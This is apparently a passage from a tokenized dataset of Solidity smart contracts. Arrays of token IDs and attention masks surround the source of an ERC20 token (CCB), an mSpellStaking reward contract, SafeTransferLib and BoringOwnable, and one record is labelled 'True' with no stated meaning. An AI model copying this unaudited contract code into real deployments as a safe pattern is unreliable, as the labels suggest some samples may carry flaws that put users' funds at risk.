2008,
2097,
2025,
8757,
7846,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1013,
2023,
2025,
14144,
7846,
2055,
1996,
3815,
11060,
2724,
6402,
1006,
4769,
25331,
2013,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1008,
1008,
1008,
9570,
2953,
3853,
1008,
1008,
3988,
10057,
3206,
2007,
3988,
4425,
19204,
2015,
2000,
1996,
8543,
1997,
1996,
3206,
1008,
1013,
3853,
19204,
2121,
2278,
11387,
1006,
21318,
3372,
17788,
2575,
20381,
6279,
22086,
1010,
5164,
19204,
18442,
1010,
5164,
19204,
6508,
13344,
2140,
1007,
2270,
1063,
21948,
6279,
22086,
1027,
6694,
2692,
1025,
1013,
1013,
10651,
2561,
4425,
2007,
1996,
26066,
3815,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
21948,
6279,
22086,
1025,
1013,
1013,
2507,
1996,
8543,
2035,
3988,
19204,
2015,
2171,
1027,
1000,
100,
100,
100,
1000,
1025,
1013,
1013,
2275,
1996,
2171,
2005,
4653,
5682,
6454,
1027,
1000,
100,
100,
100,
1000,
1025,
1013,
1013,
2275,
1996,
6454,
2005,
4653,
5682,
1065,
1013,
1008,
1008,
1008,
4722,
4651,
1010,
2069,
2064,
2022,
2170,
2011,
2023,
3206,
1008,
1013,
3853,
1035,
4651,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
4722,
1063,
1013,
1013,
4652,
4651,
2000,
1014,
2595,
2692,
4769,
1012,
2224,
6402,
1006,
1007,
2612,
5478,
1006,
1035,
2000,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1013,
1013,
4638,
2065,
1996,
4604,
2121,
2038,
2438,
5478,
1006,
5703,
11253,
1031,
1035,
2013,
1033,
1028,
1027,
1035,
3643,
1007,
1025,
1013,
1013,
4638,
2005,
2058,
12314,
2015,
5478,
1006,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1035,
3643,
1028,
5703,
11253,
1031,
1035,
2000,
1033,
1007,
1025,
1013,
1013,
3828,
2023,
2005,
2019,
23617,
1999,
1996,
2925,
21318,
3372,
3025,
26657,
2015,
1027,
5703,
11253,
1031,
1035,
2013,
1033,
1009,
5703,
11253,
1031,
1035,
2000,
1033,
1025,
1013,
1013,
4942,
6494,
6593,
2013,
1996,
4604,
2121,
5703,
11253,
1031,
1035,
2013,
1033,
1011,
1027,
1035,
3643,
1025,
1013,
1013,
5587,
1996,
2168,
2000,
1996,
7799,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1027,
1035,
3643,
1025,
4651,
1006,
1035,
2013,
1010,
1035,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Clear Cryptocurrency Bank' token contract
//
// Deployed to : 0x97c47782c7918eD78a247F2CE7A476A22A41Cd19
// Symbol : CCB
// Name : Clear Cryptocurrency Bank
// Total supply: 385,000,000.000000000000000000
// Decimals : 18
//
// (c) Clear Cryptocurrency Bank 2018
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token
// ----------------------------------------------------------------------------
contract CleariumToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CleariumToken() public {
symbol = "CCB";
name = "Clear Cryptocurrency Bank";
decimals = 18;
_totalSupply = 385000000000000000000000000;
balances[0x97c47782c7918eD78a247F2CE7A476A22A41Cd19] = _totalSupply;
Transfer(address(0), 0x97c47782c7918eD78a247F2CE7A476A22A41Cd19, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
3154,
19888,
10085,
3126,
7389,
5666,
2924,
1005,
19204,
3206,
1013,
1013,
1013,
1013,
7333,
2000,
1024,
1014,
2595,
2683,
2581,
2278,
22610,
2581,
2620,
2475,
2278,
2581,
2683,
15136,
2098,
2581,
2620,
2050,
18827,
2581,
2546,
2475,
3401,
2581,
2050,
22610,
2575,
2050,
19317,
2050,
23632,
19797,
16147,
1013,
1013,
6454,
1024,
10507,
2497,
1013,
1013,
2171,
1024,
3154,
19888,
10085,
3126,
7389,
5666,
2924,
1013,
1013,
2561,
4425,
1024,
24429,
1010,
2199,
1010,
2199,
1012,
2199,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
2692,
1013,
1013,
26066,
2015,
1024,
2324,
1013,
1013,
1013,
1013,
1006,
1039,
1007,
3154,
19888,
10085,
3126,
7389,
5666,
2924,
2760,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
2015,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
// Inspired by Stable Joe Staking which in turn is derived from the SushiSwap MasterChef contract
pragma solidity 0.8.10;
import "@rari-capital/solmate/src/utils/SafeTransferLib.sol";
import "../libraries/BoringOwnable.sol";
/**
* @title Magic Spell Staking
* @author 0xMerlin
*/
contract mSpellStaking is BoringOwnable {
using SafeTransferLib for ERC20;
/// @notice Info of each user
struct UserInfo {
uint128 amount;
uint128 rewardDebt;
uint128 lastAdded;
/**
* @notice We do some fancy math here. Basically, any point in time, the amount of JOEs
* entitled to a user but is pending to be distributed is:
*
* pending reward = (user.amount * accRewardPerShare) - user.rewardDebt[token]
*
* Whenever a user deposits or withdraws SPELL. Here's what happens:
* 1. accRewardPerShare (and `lastRewardBalance`) gets updated
* 2. User receives the pending reward sent to his/her address
* 3. User's `amount` gets updated
* 4. User's `rewardDebt[token]` gets updated
*/
}
ERC20 public immutable spell;
/// @notice Array of tokens that users can claim
ERC20 public immutable mim;
/// @notice Last reward balance of `token`
uint256 public lastRewardBalance;
/// @notice amount of time that the position is locked for.
uint256 private constant LOCK_TIME = 24 hours;
bool public toggleLockup;
/// @notice Accumulated `token` rewards per share, scaled to `ACC_REWARD_PER_SHARE_PRECISION`
uint256 public accRewardPerShare;
/// @notice The precision of `accRewardPerShare`
uint256 public constant ACC_REWARD_PER_SHARE_PRECISION = 1e24;
/// @dev Info of each user that stakes SPELL
mapping(address => UserInfo) public userInfo;
/// @notice Emitted when a user deposits SPELL
event Deposit(address indexed user, uint256 amount);
/// @notice Emitted when a user withdraws SPELL
event Withdraw(address indexed user, uint256 amount);
/// @notice Emitted when a user claims reward
event ClaimReward(address indexed user, uint256 amount);
/// @notice Emitted when a user emergency withdraws its SPELL
event EmergencyWithdraw(address indexed user, uint256 amount);
/**
* @notice Initialize a new mSpellStaking contract
* @dev This contract needs to receive an ERC20 `_rewardToken` in order to distribute them
* (with MoneyMaker in our case)
* @param _mim The address of the MIM token
* @param _spell The address of the SPELL token
*/
constructor(
ERC20 _mim,
ERC20 _spell
) {
require(address(_mim) != address(0), "mSpellStaking: reward token can't be address(0)");
require(address(_spell) != address(0), "mSpellStaking: spell can't be address(0)");
spell = _spell;
toggleLockup = true;
mim = _mim;
}
/**
* @notice Deposit SPELL for reward token allocation
* @param _amount The amount of SPELL to deposit
*/
function deposit(uint256 _amount) external {
UserInfo storage user = userInfo[msg.sender];
uint256 _previousAmount = user.amount;
uint256 _newAmount = user.amount + _amount;
user.amount = uint128(_newAmount);
user.lastAdded = uint128(block.timestamp);
updateReward();
uint256 _previousRewardDebt = user.rewardDebt;
user.rewardDebt = uint128(_newAmount * accRewardPerShare / ACC_REWARD_PER_SHARE_PRECISION);
if (_previousAmount != 0) {
uint256 _pending = _previousAmount * accRewardPerShare / ACC_REWARD_PER_SHARE_PRECISION - _previousRewardDebt;
if (_pending != 0) {
safeTokenTransfer(mim, msg.sender, _pending);
emit ClaimReward(msg.sender, _pending);
}
}
spell.safeTransferFrom(msg.sender, address(this), _amount);
emit Deposit(msg.sender, _amount);
}
/**
* @notice View function to see pending reward token on frontend
* @param _user The address of the user
* @return `_user`'s pending reward token
*/
function pendingReward(address _user) external view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 _totalSpell = spell.balanceOf(address(this));
uint256 _accRewardTokenPerShare = accRewardPerShare;
uint256 _rewardBalance = mim.balanceOf(address(this));
if (_rewardBalance != lastRewardBalance && _totalSpell != 0) {
uint256 _accruedReward = _rewardBalance - lastRewardBalance;
_accRewardTokenPerShare = _accRewardTokenPerShare + _accruedReward * ACC_REWARD_PER_SHARE_PRECISION / _totalSpell;
}
return user.amount * _accRewardTokenPerShare / ACC_REWARD_PER_SHARE_PRECISION - user.rewardDebt;
}
/**
* @notice Withdraw SPELL and harvest the rewards
* @param _amount The amount of SPELL to withdraw
*/
function withdraw(uint256 _amount) external {
UserInfo storage user = userInfo[msg.sender];
require(!toggleLockup || user.lastAdded + LOCK_TIME < block.timestamp, "mSpell: Wait for LockUp");
uint256 _previousAmount = user.amount;
uint256 _newAmount = user.amount - _amount;
user.amount = uint128(_newAmount);
updateReward();
uint256 _pending = _previousAmount * accRewardPerShare / ACC_REWARD_PER_SHARE_PRECISION - user.rewardDebt;
user.rewardDebt = uint128(_newAmount * accRewardPerShare / ACC_REWARD_PER_SHARE_PRECISION);
if (_pending != 0) {
safeTokenTransfer(mim, msg.sender, _pending);
emit ClaimReward(msg.sender, _pending);
}
spell.safeTransfer(msg.sender, _amount);
emit Withdraw(msg.sender, _amount);
}
/**
* @notice Withdraw without caring about rewards. EMERGENCY ONLY
*/
function emergencyWithdraw() external {
UserInfo storage user = userInfo[msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
spell.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _amount);
}
/**
* @notice Update reward variables
* @dev Needs to be called before any deposit or withdrawal
*/
function updateReward() public {
uint256 _rewardBalance = mim.balanceOf(address(this));
uint256 _totalSpell = spell.balanceOf(address(this));
// Did mSpellStaking receive any token
if (_rewardBalance == lastRewardBalance || _totalSpell == 0) {
return;
}
uint256 _accruedReward = _rewardBalance - lastRewardBalance;
accRewardPerShare = accRewardPerShare + _accruedReward * ACC_REWARD_PER_SHARE_PRECISION / _totalSpell;
lastRewardBalance = _rewardBalance;
}
/**
* @notice Safe token transfer function, just in case if rounding error
* causes pool to not have enough reward tokens
* @param _token The address of then token to transfer
* @param _to The address that will receive `_amount` `rewardToken`
* @param _amount The amount to send to `_to`
*/
function safeTokenTransfer(
ERC20 _token,
address _to,
uint256 _amount
) internal {
uint256 _rewardBalance = _token.balanceOf(address(this));
if (_amount > _rewardBalance) {
lastRewardBalance = lastRewardBalance - _rewardBalance;
_token.safeTransfer(_to, _rewardBalance);
} else {
lastRewardBalance = lastRewardBalance - _amount;
_token.safeTransfer(_to, _amount);
}
}
/**
* @notice Allows to enable and disable the lockup
* @param status The new lockup status
*/
function toggleLockUp(bool status) external onlyOwner {
toggleLockup = status;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed input.
success := 0
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
// Audit on 5-Jan-2021 by Keno and BoringCrypto
// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol
// Edited by BoringCrypto
contract BoringOwnableData {
address public owner;
address public pendingOwner;
}
contract BoringOwnable is BoringOwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
function transferOwnership(
address newOwner,
bool direct,
bool renounce
) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
